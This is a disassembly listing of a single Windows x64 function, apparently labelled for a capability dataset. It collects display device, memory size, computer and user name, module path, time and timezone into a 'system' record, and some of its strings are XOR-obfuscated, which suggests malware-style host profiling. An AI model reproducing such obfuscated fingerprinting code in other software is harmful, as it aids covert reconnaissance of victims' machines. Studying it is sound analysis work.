Function at 0x1400c2be0
Capabilities:
Get memory capacity

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0xbc0
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
xor r12d, r12d
mov dword [rbp + 0x830], 0x348
xor edx, edx
mov word [rbp + 0x834], r12w
mov r8d, 0x342
lea rcx, [rbp + 0x836]
call fcn.1400e5340
lea r9d, [r12 + 1]
xor edx, edx
lea r8, [rbp + 0x830]
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayDevicesW]
test eax, eax
je 0x1400c2c60
lea rdx, [rbp + 0x874]
lea rcx, [rbp + 0xd0]
call fcn.140036d20
jmp 0x1400c2c83
xorps xmm0, xmm0
mov qword [rbp + 0xe0], r12
movups xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xd0], r12b
mov qword [rbp + 0xe8], send
lea rcx, [rbp + 0x580]
call fcn.1400b4040
lea rcx, [rbp + 0x560]
call fcn.1400b3290
lea rcx, [rbp + 0x540]
call fcn.1400bd8e0
lea rcx, [rbp + 0x520]
call fcn.1400bb7a0
lea rcx, [rbp + 0x500]
call fcn.1400bb060
movabs rax, 0x2a44579bfcec6bbf
movabs rcx, 0xeda3b6773e218eaa
mov qword [rbp], rax
xorps xmm2, xmm2
mov rax, qword [rbp]
movabs r13, 0x9fe25fde90492d0
mov qword [rbp + 0x140], rax
mov rsi, 0xffffffffffffffff
movabs rax, 0x6f975594c76de2b1
mov r8, rsi
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0x8c4fd97d1665fd08
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0x56b6de88c981fd7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movabs rax, 0x8c4fd91a640ad371
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
lea rax, [rbp + 0x140]
vmovdqu ymm0, ymmword [rbp + 0x340]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
vxorps xmm0, xmm0, xmm0
vmovdqu xmmword [rbp + 0x170], xmm0
vmovdqa ymmword [rbp + 0x140], ymm1
vmovups xmmword [rbp + 0x160], xmm2
vzeroupper
inc r8
cmp byte [rax + r8], r12b
jne 0x1400c2dc0
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x160]
call fcn.1400221f0
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x360]
call fcn.1400b3a80
mov rdx, qword [rbp + 0x178]
cmp rdx, 0x10
jb 0x1400c2e30
mov rcx, qword [rbp + 0x160]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c2e2b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c3e86
call fcn.1400e2ce8
movdqa xmm0, xmmword [0x1400f0c50]
lea rcx, [rbp + 0x78]
xor eax, eax
mov byte [rbp + 0x160], r12b
xor edx, edx
mov qword [rbp + 0x78], rax
movdqu xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x70], r12b
call fcn.14002c290
mov ecx, 0x20
call fcn.1400e2cac
lea rdx, [rbp + 0x540]
mov rcx, rax
mov rbx, rax
call fcn.140024a30
mov ecx, dword [str.system]
lea rdx, [rbp + 0x2b0]
movdqa xmm1, xmmword [0x1400f33a0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov dword [rbp + 0x2b0], ecx
movzx ecx, word [0x1400f09a4]
mov word [rbp + 0x2b4], cx
lea rcx, [0x140110360]
movdqu xmmword [rbp + 0x2c0], xmm1
mov byte [rbp + 0x2b6], r12b
call fcn.140025b20
movzx ecx, byte [0x1400f1f20]
lea rdx, [rbp + 0x2d0]
movdqa xmm1, xmmword [reloc.WS2_32.dll_htons]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov byte [rbp + 0x2d8], cl
mov rcx, rax
movsd xmm0, qword [str.user_name]
movsd qword [rbp + 0x2d0], xmm0
movdqu xmmword [rbp + 0x2e0], xmm1
mov byte [rbp + 0x2d9], r12b
call fcn.140025b20
movzx edx, byte [rax]
mov byte [rax], 3
mov rcx, qword [rax + 8]
mov qword [rbp + 0x78], rcx
lea rcx, [rbp + 0x78]
mov byte [rbp + 0x70], dl
mov qword [rax + 8], rbx
call fcn.14002c290
xor eax, eax
mov byte [rbp + 0x80], r12b
xor edx, edx
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x88]
call fcn.14002c290
mov ecx, 0x20
call fcn.1400e2cac
xorps xmm0, xmm0
lea r15, [rbp + 0xd0]
movabs rdi, 0x7fffffffffffffff
mov rbx, rax
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r12
cmp qword [rbp + 0xe8], 0x10
mov r14, qword [rbp + 0xe0]
cmovae r15, qword [rbp + 0xd0]
cmp r14, rdi
ja 0x1400c3e8c
mov qword [rax + 0x18], send
cmp r14, 0x10
jae 0x1400c2fb6
mov qword [rax + 0x10], r14
movups xmm0, xmmword [r15]
movups xmmword [rax], xmm0
jmp 0x1400c2ff7
mov rax, r14
or rax, 0xf
cmp rax, rdi
ja 0x1400c2fd1
mov ecx, socket
mov rdi, rax
cmp rax, rcx
cmovb rdi, rcx
lea rdx, [rdi + 1]
mov rcx, rbx
call fcn.140027ca0
lea r8, [r14 + 1]
mov qword [rbx], rax
mov rdx, r15
mov qword [rbx + 0x10], r14
mov rcx, rax
mov qword [rbx + 0x18], rdi
call fcn.1400e4ca0
mov eax, dword [str.system]
lea rdx, [rbp + 0x2f0]
movdqa xmm1, xmmword [0x1400f33a0]
lea rcx, [0x140110360]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
mov dword [rbp + 0x2f0], eax
movzx eax, word [0x1400f09a4]
mov word [rbp + 0x2f4], ax
movdqu xmmword [rbp + 0x300], xmm1
mov byte [rbp + 0x2f6], r12b
call fcn.140025b20
mov ecx, dword [0x1400f1f24]
lea rdx, [rbp + 0x210]
movdqa xmm1, xmmword [reloc.WS2_32.dll_closesocket]
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov word [rbp + 0x210], cx
movzx ecx, byte [0x1400f1f26]
mov byte [rbp + 0x212], cl
mov rcx, rax
movdqu xmmword [rbp + 0x220], xmm1
mov byte [rbp + 0x213], r12b
call fcn.140025b20
movzx edx, byte [rax]
mov byte [rax], 3
mov rcx, qword [rax + 8]
mov qword [rbp + 0x88], rcx
lea rcx, [rbp + 0x88]
mov byte [rbp + 0x80], dl
mov qword [rax + 8], rbx
call fcn.14002c290
xor eax, eax
mov byte [rbp + 0x90], r12b
xor edx, edx
mov qword [rbp + 0x98], rax
lea rcx, [rbp + 0x98]
call fcn.14002c290
mov ecx, 0x20
call fcn.1400e2cac
lea rdx, [rbp + 0x560]
mov rcx, rax
mov rbx, rax
call fcn.140024a30
mov ecx, dword [str.system]
lea rdx, [rbp + 0x230]
movdqa xmm1, xmmword [0x1400f33a0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov dword [rbp + 0x230], ecx
movzx ecx, word [0x1400f09a4]
mov word [rbp + 0x234], cx
lea rcx, [0x140110360]
movdqu xmmword [rbp + 0x240], xmm1
mov byte [rbp + 0x236], r12b
call fcn.140025b20
mov ecx, dword [0x1400f1f28]
lea rdx, [rbp + 0x250]
movdqa xmm1, xmmword [reloc.WS2_32.dll_closesocket]
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov word [rbp + 0x250], cx
movzx ecx, byte [0x1400f1f2a]
mov byte [rbp + 0x252], cl
mov rcx, rax
movdqu xmmword [rbp + 0x260], xmm1
mov byte [rbp + 0x253], r12b
call fcn.140025b20
lea rcx, [rbp + 0x98]
movzx edx, byte [rax]
mov byte [rax], 3
mov r8, qword [rax + 8]
mov qword [rbp + 0x98], r8
mov byte [rbp + 0x90], dl
mov qword [rax + 8], rbx
call fcn.14002c290
xor eax, eax
mov byte [rbp + 0xa0], r12b
mov qword [rbp + 0xa8], rax
lea rcx, [rbp + 0xa8]
xor edx, edx
call fcn.14002c290
mov ecx, 0x20
mov byte [rbp + 0xa0], 3
call fcn.1400e2cac
lea rdx, [rbp + 0x580]
mov rcx, rax
mov rbx, rax
call fcn.140024a30
mov eax, dword [str.system]
lea rdx, [rbp + 0x270]
movdqa xmm1, xmmword [0x1400f33a0]
lea rcx, [0x140110360]
xorps xmm0, xmm0
mov qword [rbp + 0xa8], rbx
movups xmmword [rbp + 0x270], xmm0
mov dword [rbp + 0x270], eax
movzx eax, word [0x1400f09a4]
mov word [rbp + 0x274], ax
movdqu xmmword [rbp + 0x280], xmm1
mov byte [rbp + 0x276], r12b
call fcn.140025b20
xorps xmm0, xmm0
lea rdx, [0x1400f1f2c]
xorps xmm1, xmm1
lea rcx, [rbp + 0x400]
mov r8d, 2
mov rbx, rax
movups xmmword [rbp + 0x400], xmm0
movdqu xmmword [rbp + 0x410], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x400]
mov rcx, rbx
call fcn.140025b20
mov rcx, rax
lea rdx, [rbp + 0xa0]
call fcn.140025a40
lea rcx, [rbp + 0x690]
mov dword [rbp + 0x690], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rcx, qword [rbp + 0x698]
xor eax, eax
mov byte [rbp + 0x130], r12b
xorps xmm0, xmm0
mov qword [rbp + 0x138], rax
test rcx, rcx
js 0x1400c32d1
cvtsi2ss xmm0, rcx
jmp 0x1400c32e6
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
mulss xmm0, dword [0x1400f3390]
lea rcx, [rbp + 0x130]
cvtps2pd xmm1, xmm0
call fcn.1400ad920
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x420]
mov r8d, 6
movups xmmword [rbp + 0x420], xmm0
movdqu xmmword [rbp + 0x430], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x420]
lea rcx, [0x140110360]
call fcn.140025b20
xorps xmm0, xmm0
lea rdx, [0x1400f1f30]
xorps xmm1, xmm1
lea rcx, [rbp + 0x440]
mov r8d, 3
mov rbx, rax
movups xmmword [rbp + 0x440], xmm0
movdqu xmmword [rbp + 0x450], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x440]
mov rcx, rbx
call fcn.140025b20
mov rcx, rax
lea rdx, [rbp + 0x130]
call fcn.140025a40
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x5d0]
call fcn.140021fd0
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x460]
mov r8d, 6
mov rdi, rax
movups xmmword [rbp + 0x460], xmm0
movdqu xmmword [rbp + 0x470], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x460]
lea rcx, [0x140110360]
call fcn.140025b20
xorps xmm0, xmm0
lea rdx, str.computer_name
xorps xmm1, xmm1
lea rcx, [rbp + 0x480]
mov r8d, recv
mov rbx, rax
movups xmmword [rbp + 0x480], xmm0
movdqu xmmword [rbp + 0x490], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x480]
mov rcx, rbx
call fcn.140025b20
mov rcx, rax
mov rdx, rdi
call fcn.140025a40
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x5e0]
call fcn.140021fd0
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x4a0]
mov r8d, 6
mov rbx, rax
movups xmmword [rbp + 0x4a0], xmm0
movdqu xmmword [rbp + 0x4b0], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x4a0]
lea rcx, [0x140110360]
call fcn.140025b20
mov r8, rax
movabs rax, 0x56b6de8e8f168bf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xf0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
lea rdx, [rbp + 0xf0]
mov qword [rbp + 0xf8], rcx
movabs r14, 0x56b6de88c981fd7
mov qword [rbp], r14
mov rcx, qword [rbp]
mov qword [rbp + 0x1c0], rcx
mov rcx, r8
mov qword [rbp], r13
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0xf0]
mov qword [rbp + 0x1c8], rax
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0xf0], xmm0
call fcn.1400220c0
mov rcx, rax
mov rdx, rbx
call fcn.140025a40
lea rcx, [rbp + 0x600]
call fcn.1400b7030
cmp qword [rax + 0x18], 0x10
mov r8, qword [rax + 0x10]
jb 0x1400c3524
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x4c0]
call fcn.140023c20
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x5f0]
call fcn.140022040
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x380]
mov r8d, 6
mov rbx, rax
movups xmmword [rbp + 0x380], xmm0
movdqu xmmword [rbp + 0x390], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x380]
lea rcx, [0x140110360]
call fcn.140025b20
mov r8, rax
lea rdx, [rbp + 0x100]
movabs rax, 0x6d18038de9ea7ca4
mov qword [rbp], rax
movabs rax, 0x9fe25fde904e6bf
mov rcx, qword [rbp]
mov qword [rbp + 0x100], rcx
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x108], rcx
mov qword [rbp], r14
mov rcx, qword [rbp]
mov qword [rbp + 0x1d0], rcx
mov rcx, r8
mov qword [rbp], r13
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x100]
mov qword [rbp + 0x1d8], rax
xorps xmm0, xmmword [rbp + 0x1d0]
movdqa xmmword [rbp + 0x100], xmm0
call fcn.1400220c0
mov rcx, rax
mov rdx, rbx
call fcn.140025a40
lea rcx, [rbp + 0x4c0]
call fcn.1400256a0
lea rcx, [rbp + 0x600]
call fcn.1400256a0
lea rcx, [rbp + 0x620]
call fcn.1400b3820
mov rdx, rax
lea rcx, [rbp + 0x5a0]
call fcn.140022040
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x3a0]
mov r8d, 6
mov rbx, rax
movups xmmword [rbp + 0x3a0], xmm0
movdqu xmmword [rbp + 0x3b0], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x3a0]
lea rcx, [0x140110360]
call fcn.140025b20
mov r8, rax
movabs rax, 0x7734038de9ea7ca4
mov qword [rbp], rax
movabs rax, 0x66975188856be1b5
mov rcx, qword [rbp]
mov qword [rbp + 0x1a0], rcx
mov qword [rbp], rax
movabs rax, 0x8c4fd91a640ad31f
mov rcx, qword [rbp]
mov qword [rbp + 0x1a8], rcx
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1b0], rcx
movabs rcx, 0xeda3b6773e218eaa
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
lea rdx, [rbp + 0x1a0]
mov qword [rbp + 0x320], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs rax, 0x8c4fd91a640ad371
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
mov qword [rbp], rcx
mov rcx, r8
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
vmovdqu ymm0, ymmword [rbp + 0x320]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vzeroupper
call fcn.1400220c0
mov rcx, rax
mov rdx, rbx
call fcn.140025a40
lea rcx, [rbp + 0x620]
call fcn.1400256a0
lea rcx, [rbp + 8]
call fcn.1400c4ed0
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x660]
call fcn.1400ce0d8
lea r9, [rbp + 0x660]
mov edx, 0x50
lea r8, str._d__m__Y___H:_M:_S
lea rcx, [rbp + 0x6d0]
call fcn.1400ce4e4
xorps xmm0, xmm0
lea rax, [rbp + 0x6d0]
xorps xmm1, xmm1
mov r8, rsi
movups xmmword [rbp + 0x180], xmm0
movdqu xmmword [rbp + 0x190], xmm1
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x1400c37d0
lea rdx, [rbp + 0x6d0]
lea rcx, [rbp + 0x180]
call fcn.1400221f0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x5b0]
call fcn.140022040
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x3c0]
mov r8d, 6
mov rdi, rax
movups xmmword [rbp + 0x3c0], xmm0
movdqu xmmword [rbp + 0x3d0], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x3c0]
lea rcx, [0x140110360]
call fcn.140025b20
xorps xmm0, xmm0
lea rdx, str.time
xorps xmm1, xmm1
lea rcx, [rbp + 0x3e0]
mov r8d, 4
mov rbx, rax
movups xmmword [rbp + 0x3e0], xmm0
movdqu xmmword [rbp + 0x3f0], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x3e0]
mov rcx, rbx
call fcn.140025b20
mov rcx, rax
mov rdx, rdi
call fcn.140025a40
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x1400c38cf
mov rcx, qword [rbp + 0x180]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c38ca
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c3e92
call fcn.1400e2ce8
movdqa xmm0, xmmword [0x1400f0c50]
lea rcx, [rbp + 0x720]
xor edx, edx
mov byte [rbp + 0x180], r12b
mov r8d, 0x104
movdqu xmmword [rbp + 0x190], xmm0
call fcn.1400e5340
mov r8d, 0x104
lea rdx, [rbp + 0x720]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov qword [rbp + 0x60], r12
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x68], r12
lea rax, [rbp + 0x720]
inc rsi
cmp byte [rax + rsi], r12b
jne 0x1400c3925
mov r8, rsi
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x50]
call fcn.1400221f0
cmp qword [rbp + 0x68], 0x10
lea rdx, [rbp + 0x50]
mov r8, qword [rbp + 0x60]
lea rcx, [rbp + 0x4e0]
cmovae rdx, qword [rbp + 0x50]
call fcn.140023c20
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x5c0]
call fcn.140022040
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x30]
mov r8d, 6
mov rbx, rax
movups xmmword [rbp + 0x30], xmm0
movdqu xmmword [rbp + 0x40], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x30]
lea rcx, [0x140110360]
call fcn.140025b20
mov r8, rax
lea rdx, [rbp + 0x110]
movabs rax, 0x5a0e199deffd67b2
mov qword [rbp], rax
movabs rax, 0x9fe25fd8170f3a0
mov rcx, qword [rbp]
mov qword [rbp + 0x110], rcx
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x118], rcx
mov qword [rbp], r14
mov rcx, qword [rbp]
mov qword [rbp + 0x1e0], rcx
mov rcx, r8
mov qword [rbp], r13
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x110]
mov qword [rbp + 0x1e8], rax
xorps xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x110], xmm0
call fcn.1400220c0
mov rcx, rax
mov rdx, rbx
call fcn.140025a40
lea rcx, [rbp + 0x4e0]
call fcn.1400256a0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x1400c3a75
mov rcx, qword [rbp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c3a70
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c3e98
call fcn.1400e2ce8
lea rcx, [rbp + 0x640]
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], send
mov byte [rbp + 0x50], r12b
call fcn.1400bcf40
cmp qword [rax + 0x18], 0x10
mov r8, qword [rax + 0x10]
jb 0x1400c3a9f
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140023c20
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0xb0]
call fcn.140022040
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x30]
mov r8d, 6
mov rdi, rax
movups xmmword [rbp + 0x30], xmm0
movdqu xmmword [rbp + 0x40], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x30]
lea rcx, [0x140110360]
call fcn.140025b20
xorps xmm0, xmm0
lea rdx, str.timezone
xorps xmm1, xmm1
lea rcx, [rbp + 0x30]
mov r8d, 8
mov rbx, rax
movups xmmword [rbp + 0x30], xmm0
movdqu xmmword [rbp + 0x40], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x30]
mov rcx, rbx
call fcn.140025b20
mov rcx, rax
mov rdx, rdi
call fcn.140025a40
lea rcx, [rbp + 0x290]
call fcn.1400256a0
lea rcx, [rbp + 0x640]
call fcn.1400256a0
mov rax, qword [str.monika1]
lea rdx, [rbp + 0xb0]
mov dword [rbp + 0xb0], eax
lea rcx, [rbp + 0x290]
movzx eax, word [0x1400f1f64]
mov r8d, 7
mov word [rbp + 0xb4], ax
movzx eax, byte [0x1400f1f66]
mov byte [rbp + 0xb6], al
mov qword [rbp + 0xb8], r12
mov qword [rbp + 0xc0], 7
mov qword [rbp + 0xc8], send
mov byte [rbp + 0xb7], r12b
call fcn.140023c20
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x10]
call fcn.140022040
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x30]
mov r8d, 6
mov rbx, rax
movups xmmword [rbp + 0x30], xmm0
movdqu xmmword [rbp + 0x40], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x30]
lea rcx, [0x140110360]
call fcn.140025b20
mov r8, rax
movabs rax, 0x6405328ce0f16ab5
mov qword [rbp + 8], rax
movabs rax, 0x9fe25fde904f7bd
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x120], rcx
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x128], rcx
mov qword [rbp + 8], r14
mov rcx, qword [rbp + 8]
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x1f0], rcx
movdqa xmm0, xmmword [rbp + 0x120]
lea rdx, [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0x1f0]
mov rcx, r8
movdqa xmmword [rbp + 0x120], xmm0
call fcn.1400220c0
mov rcx, rax
mov rdx, rbx
call fcn.140025a40
lea rcx, [rbp + 0x290]
call fcn.1400256a0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x1400c3cce
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c3cc9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c3e9e
call fcn.1400e2ce8
lea rcx, [rbp + 0x200]
cmp qword [rbp + 0x370], r12
je 0x1400c3d5b
lea rdx, [rbp + 0x360]
call fcn.140021fd0
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x10]
mov r8d, 6
mov rdi, rax
movups xmmword [rbp + 0x10], xmm0
movdqu xmmword [rbp + 0x20], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x10]
lea rcx, [0x140110360]
call fcn.140025b20
xorps xmm0, xmm0
lea rdx, [0x1400f1f68]
xorps xmm1, xmm1
lea rcx, [rbp + 0x10]
mov r8d, 2
mov rbx, rax
movups xmmword [rbp + 0x10], xmm0
movdqu xmmword [rbp + 0x20], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x10]
mov rcx, rbx
call fcn.140025b20
mov rdx, rdi
jmp 0x1400c3dd2
xor edx, edx
call fcn.1400a9420
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x10]
mov r8d, 6
movups xmmword [rbp + 0x10], xmm0
movdqu xmmword [rbp + 0x20], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x10]
lea rcx, [0x140110360]
call fcn.140025b20
xorps xmm0, xmm0
lea rdx, [0x1400f1f68]
xorps xmm1, xmm1
lea rcx, [rbp + 0x10]
mov r8d, 2
mov rbx, rax
movups xmmword [rbp + 0x10], xmm0
movdqu xmmword [rbp + 0x20], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x10]
mov rcx, rbx
call fcn.140025b20
lea rdx, [rbp + 0x200]
mov rcx, rax
call fcn.140025a40
lea rcx, [rbp + 0x360]
call fcn.1400256a0
lea rcx, [rbp + 0x500]
call fcn.1400256a0
lea rcx, [rbp + 0x520]
call fcn.1400256a0
lea rcx, [rbp + 0x540]
call fcn.1400256a0
lea rcx, [rbp + 0x560]
call fcn.1400256a0
lea rcx, [rbp + 0x580]
call fcn.1400256a0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1400c3e5f
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c3e5a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c3e80
call fcn.1400e2ce8
lea r11, [rsp + 0xbc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400c4dd4
int3
call fcn.1400c4dd4
int3
call fcn.140027c40
int3
call fcn.1400c4dd4
int3
call fcn.1400c4dd4
int3
call fcn.1400c4dd4
int3